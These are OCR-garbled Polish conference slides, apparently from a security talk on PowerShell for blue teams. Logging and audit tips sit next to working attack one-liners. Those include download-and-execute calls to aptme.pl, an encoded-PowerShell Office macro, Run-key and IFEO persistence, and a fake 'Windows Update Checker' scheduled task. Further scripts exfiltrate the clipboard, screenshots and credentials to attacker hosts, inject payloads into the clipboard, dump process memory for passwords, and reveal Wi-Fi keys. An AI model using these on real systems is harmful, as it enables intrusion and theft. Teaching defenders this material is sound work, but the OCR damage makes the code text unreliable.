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Najwazniejsze polecenia

Help, Help about *
Update-Help

Get-Alias

Get-Command

| Get-Member
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Po co blue teamom Powershell?

iex "& { S(irmm https://aka.ms/install-powershell.psl) } -UseMSI"
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Po co blue teamom Powershell?

Set-ExecutionPolicy Bypass -Scope Process -Force;

iex ((New-QObject
System. Net. \WebClient). DownloadString('hitps://chocolatey.org/install.ps1'))

¥

https://chocolatey.org/install :
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Po co blue teamom Powershell?

Get-WindowsCapability -anlime | ? Name -like "*SSH™'

Add-WindowsCapability -Online -Name OpenSSH.Semver~~~~0.0.1.0
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Po co blue teamom Powershell?

Set-Senvice sshd -StartupType Automatic
Get-Sernvice sshd
Get-Service sshd | gm

Get-Senvice sshd | Start-Service

aptm.in/protip/0018 A



https://aptm.in/forge/?wps
https://aptm.in/protip/0018

Po co blue teamom Powershell?

PS

ps | gm

ps | ComvertTo-Htmil > ps. hitml
ps | select path,company,cpu

ps | select mame,paith, company,cpu || sort cpu -desc -Top 10
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/tosliwe dokumenty MS Office

iur aptme.pl/calc | iex @ @ E
powershell -enc

aQB3AHIAIABhAHAAJABIAGMALZBWAGWALWBAGEADABJACAATAAGAGKAZQBAAA==

Suly Document._ Open:
Shell “emd /c powershell -enc aQB3AHIAIABhAHAAJABTAGMALE]...]”  vbHide

End Sub

aptmasterclass.com/psl/enc/, aptm.in/protip/0034 m 5
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Zaufane dokumenty MS Office

Get-PSProvider

(Is "HIKCU-\Software\Microsoft\Office\ *\ *\Security\ Trusted
Documenits\ TrustRecords"). Property

aptm.in/protip/0012 =y
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Autostart

New-ItemProperty HKCU:\SOFTWARE\Microsoft\Windows\Current\/ersion\Rum -Name
omh -Value "powershell calc.exe™

New-ItemProperty HKLM:\SOFTWARE\Microsoft\\Windows\Current\/ersion\Rum -Name
omh -Value "powershell calc.exe™
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Autostart | uprawnienia

gp HKCWU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Rumn
gp HKLM:\SOFTWARE\Microsoft\\Windows\CurrentVersion\Run
gp HKLM:\SOFTWARE\\WO\W6432Node\Microsoft\Windows\CurrentVersion\Rumn

Get-Acl HKLM:\SOFTWARE\Microsoft\Windows\Current\Version\Rum | Format-List

aptm.in/protip/0011

FORGGEC
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MOj przyjaciel Debugger

mi -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\foo.exe"

sp "HKLM:\SOFTWARE\Microsoft\\Windows NT\CurrentVersion\Image File

Execution Options\foo.exe" -name Debugger -Value "powershell -c ps|ogwv -
wait; #"

mii -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Executiom Options\foo.exe" | sp -name Debugger -Value "powershell -¢
ps | ogw -wiait; #"
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Debugger? No nie lubie

2P "HKLM:\SOFTWARE\Microsoft\\Windows NT\CurrentVersion\lImage File
Executiom Options\*" | where Debugger|select PSChildName, Detbhuggen

aptm.in/protip/0008 :s:. ,

FORGGEC
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Schowek — co moze pojsc nie tak?

Stwiorz skrypt, ktéry skanuje schowek co 60 sekund i eksfiltruje jego zawartosc

while (STrue) {
gely -fi t >> Semv:temp\clilp
it -me po -i "'Senv:temp\clip" exfil.aptmc. pl
sleep 60

J
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Schowek — jeszcze strasznie]

Stworz skrypt, ktory skanuje schowek co 5 sekund i jesli wystgpi w nimm string .exe, to doklei
do schowka ztosliwy kod

Spayload = "iwur aptme. pl/calc |iex”
while (STrue) {
Sclip = geb -fi t
if (Sclip -match "\.exe" -and Sclip -notmatch Spayload) {
sch "Sclip; Spayload r'm™
?
sleep 5
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Klawiatura powershellem

Stwiarz skrypt, ktory zapisze screenshot do plikw

[void][reflection.assembly]::loadwithpartialname(" system. windows. forms")
[system. windows.forms.sendkeys]::sendwait('{PRTSC}').
(gch -fi Image).Save("Semv:temp\shot. png")
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| know..

Start-Transcript
Stant-Tramnscript -IncludelnvwocationiHeader

i

S ENOW

LAS

\

New-ltem -Force HKLM:\Software\Policies\Microsofit\\Windows\PowerShell\Transcription
Set-ltemProperty HKLM:\Software\Policies\Microsoft\\Windows\PowerShell\Transcriptiom -Name
EnableTranscripting -Value 1

aptm.in/protip/0009 &
devblogs.microsoft.com/powershell/powershell-the-blue-team; Ak

FORGGEC
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Logowanie skryptow

New-ltem -Force
HIKLM:\Software\Policies\Microsofit\\Windows\PowerShell\ScriptBlocklLogging

Set-ltemProperty

HIKLM: \Software\Policies\Microsoft\\Windows\PowerShell\ScriptBlocklLogging -Name:
EnableScriptBlocklogging -Value 1

devblogs.microsoft.com/powershell/powershell-the-blue-team)/ P

FORGGEC
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A moze zapomniat posprzatac..

gci (Get-PSReadlLineOption). HistorySavePath

aptm.in/protip/0019
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Zaplanujmy zadania

ScheduledTask — crom na Windowsie

Saction = New-ScheduledTaskAction -Execute 'powershell.exe" -Argument "-w h -c
"&{imur -usel aptme. pl/cale|iex}""

Ssettings = New-ScheduledTaskSettingsSet -AllowStantlfOnBatteries

Strigger = New-ScheduledTaskTrigger -Daily -At 18:01

Register-ScheduledTask -Settings Ssettings -Actiom Saction -Trigger Strigger -TaskName
"Windows Update Checker" -Description "Checks if there is am update available"
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A cOz to za zadania..

Get-ScheduledTask
|%{[pscustomaobject]@{Name=S .TaskName:Path=S .TaskPaith;Execute=S .Actions
Execute;Args=S .Actions.Arguments}}|OQut-Grid\iew
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A skad pobrano te pliki?

gci -r SHOME | gii -s * |where Stream -ne ":SDATA"|select Filename,Stream

gc remaote.psl -Stream Zone. ldentifier
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NiespoCMDzianka!

aptm.in/protip/003d A8
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A co mnie tu wtykasz!

s, HKLM:\SYSTEM\CurrentControlSet\Emum\HID\*

’
A )
’-@ 2U40FN

LilyPad Arduino USB -
mikrokontroler ATmega32U4

Miniaturowy modut z mikrokontrolerem
AVR Atmega32U4, wyposazony w 32 kb
pamieci Flash, 9 pinbw cyfrowych, z czego
4 mogq bycC wykorzystane jako wejscia
analogowe i wyjscia PWM.

Wgrany bootloader pozwala na
programowanie ptytki za pomocg Arduino
IDE by vzyskac ciekawe efekty swietlne na
diodach LED podtgczonych do wyjsc
cyfrowych. Urzgdzenie mozna zastosowac
do systemu inteligentnych ubran.

aptm.in/protip,/003c
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Ksiegowosc raczej nie wciska Start+R

Si=gp HKCU:\SOFTWARE\Microsoft\\Windows\Current\Version\Explorer\RunMRU;
Si. MRUList. ToCharArmay() | %{Si.S }

aptm.in/protip/003a
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..a marketing nie uzywa narzedzi z Sysinternals

) > |

= Autoruns - Sysinternals: www.sysinternals.com
| _
File Entry Options Help .2/ Process Explorer - Sysinternals: www.sysin.. — =& “
= (2 ' File Options View Process Find Users Help
D Codecs =] Boot Execute ™ Image Hijacks ‘d | 2] | 2 j @ | B N *4 @ ‘ &.@
& Winsock Providers | “23 Print Monitors | %) LSA Providers || Process CPU  Private Bytes  Working S
. &7 Everything | 44 Logon | 4 Explorer | & Internet Exp [H|Systen 715 - 28
0 | | T g — — | & & System 0.78 64 K 36
Is, HKCWU:\Software\Sysinternals |select Name | wwen _ owopo " D
¥ HKLM\SOFTWAREY =) Process Monitor - Sysint.. = = 184K 220
(V] 1] CmPClaudio | IR <0.01 1,544 K 1.912
[ &1 Shadow Def File Edit Event Filter Tools Options 736 K 292
V] s StatcCC I Help ke 4036 K 4396
VM Eswavalpdll| 2 [l | A B E | © A& | g [tee 2304 K 3,108
- . O Dst exe 1,084 K 1,824
. Administrator; CA\Windows\system3Z2\cmd.exe - [ime ... Process Name PID  Operation A Phan exe 0.05 6,840 K 12,724
36:2... € chrome.exe 2900 A% TCP TCPCopy | JEMonitor.exe 1,160 K 1.396
] . . 36:2... & chrome.exe 2900 &4 TCP Receive elowutil.exe 0.05 2220K 6.508
=~UserssDan Schroeder~Desktop~PSTools>psexec —1 —u "'nt avthoritysnetwork servic 36:2... | Explorer.EXE 2643 @¢RegOpenKey [ ftexe 0.02 2,948 K 3.576
="' ocmd.exe 36:2... -, Explorer EXE 2648 #@%ReqOpenKey : exe 576 K 696
36:2... 5 BExplorer EXE 2648 #%ReqCloseKey t.exe 0.04 13.212K 12340 v
sExec v2.11 — Execute processes remotely 36:2... [ Explorer. EXE 2648 gﬁegOpenKey iodg.exe < >
opyright (G Z2801-2814 Mark Bussinowvich 362 ~ M Expiorey EXE 2648 [ RegOpeqiiey , Commit Charge: 27.66% Processes: 55 Physical Us
Cysinternals — www.sysinternals.com 267 Miegler BXE;  Todb #tReqClosekey | - >
36:2... & chrome exe 29500 A% TCP TCPCopy
36:2... & chrome exe 2900 a4 TCP Receive
Error estabhlizhing communication with PzExec seruvice on 62 QiEsee s 204 #Regope”’(e: Y B
he system cannot find the file specified. =
jowing 36,468 of 157,463 events (23%) | ]

sswUserssDan SchroedersDesktops“PS8Tools>psexec —1i —u "nt anthoritysnetwork servic
= "CosWHindowssSystem3d2semd.exe "

sExec v2.11 — Execute processes remotely
opyright <G> 280U1-2814 Mark Bussinovich
Syzinternals — www.sysinternals.com

Error establizhing communication with PsExec service on
he system cannot find the file specified.

=wUserssDan SchroedersDesktopsP5Tools >

aptm.in/protip/0030

masterclaoss
FORGGC
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Rekonesans Active Directory

([adsisearcher] " objectCategory=computer™). FimdAll():
([adsisearcher]"servicePrincipalName=MSSQLSvec/*").FimdAll()



https://aptm.in/forge/?wps
https://aptm.in/protip/002e

Rekonesans sieciowy

(irm ipinfo.io/jsom).ip:

1..254 | % {Resolve-DnsName 46.229.145.5 -EmarAction SilentlyContinue}

(metsh wilam show: profiles) | %{Sn=(""+(S_-split ":")[2]).trimn(); metsh wlam show profile
name="$n" key=clear}|sls "Key Content","SSID name"

aptm.in/protip/0004, aptm.in/protip/0016, aptm.in/protip/0037
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DNS — i jak go nie kochac?

(irmn "hittps://dns.google/resolve?name=calc.aptme. pl&type=txt").answer.data | iex| iex

[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type
TXT msg.aptmec.pl).strings)) |iex

aptm.in/protip/0020, aptm.in/protip/001d m [
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Co tam w DNS piszczy..

Get-DnsClientCache | select data, entry | Formai-List

ipconfig /displaydns

aptm.in/protip/0025 Ay

FORGGEC
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W pamieci skarby odnajdziesz

Zrzué pamiec wybranego procesw i sprobuj tam odnalez¢ wrazliwe dane

INNLE
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration,/
Qut-Minidump.psl | iex

Sdump=(ps -mame Notepad | out-minidump)

imur hittps://live.sysimternals.com/tools/strings.exe -Quitfile strings.exe

\strings.exe -accepteula -m 10 Sdump | select-string -Context 2 password
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A co Pan oglada?

Stwidrz skrypt, ktéry zrobi screenshota i go wyeksfiltruje hem daleko

Add-Type -AssemblyName System. Windows.Forms.

Add-type -AssemblyName System.Drawing

SScreem = [System. \Windows. Forms.Systeminformation]::VirtualScreen
SWidth, SHeight = SScreen. Width, SScreen. Height

Sleft , STop = SScreen. lLeft, SScreen.Top

Shitmap = New-Object System.Drawing.Bitmap SWidth, SHeight
Sgraphic = [System. Drawing.Graphics]::Fromlmage(Shitmap)

Sgraphic. CopyFromScreen(Sleft, STop, 0, 0, Shitmap.Size)
Sms=[System.|0. MemaonryStream)]::new)

Shitmap.Save(Sms, [System.Drawing.Imaging.ImageFormat]::jpeg)

Sgraphic. Dispose()
Simgh64=[System.Convert]:: ToBase64String(Sms. GetBuffen())

iwr -me po -t Simgh64 http://aptme.pl: 7777
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Constrained Language Mode

SExecutionContext.SessionState. LanguageMode

SExecutionContext.SessionState. LanguageMode = "ConstrainedlLanguage"
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Polujemy na wszystkich komputerach

Sser = {
Surii = "hittps://aptme. pl/psl/rest/
Susername = Susing:creds. UserName:
Spasswornd =
[Runtime.lnteropServices. Marshal]::PtrToStringAuto([Runtime. InteropServices. Marshall::
SecureStringToBSTR(Susing:creds. Password))
$aiU1th1 =
[Convert]:: ToBase64String([Text.Encoding]::ASCIl.GetBytes("' S{username}: S{password}"))
Invoke-RestMethod -Headers @{Authorization=("Basic {0}" -f Sauth)} -Uri Suri -Body
@{Users=(Get-LocalUser | ConvertTo-Json)} -Method Post

J

Screds = Get-Credential
Invoke-Command -CommpuiterName locallhost, 127.0.0.1 -ScriptBlock Sser
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/mienng kradnij zmienng YO DAWG, SLYSZALEM, ZE LUBISZ ZMIENNE

s

\
'i

WIEC WRZUCILEM SWIIIA ZMIENNA,
KTORA WYEKSFILTRUJE TWOJA ZMIENNA

(sv-@ a -p passwaord "").attributes.add([validatescript]({irm
https://aptme.pl/psl/steal/ -me po - S :returm Strue}))
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High five!
aptm.in/omh20
aptm.in/p :;as:erd;ss
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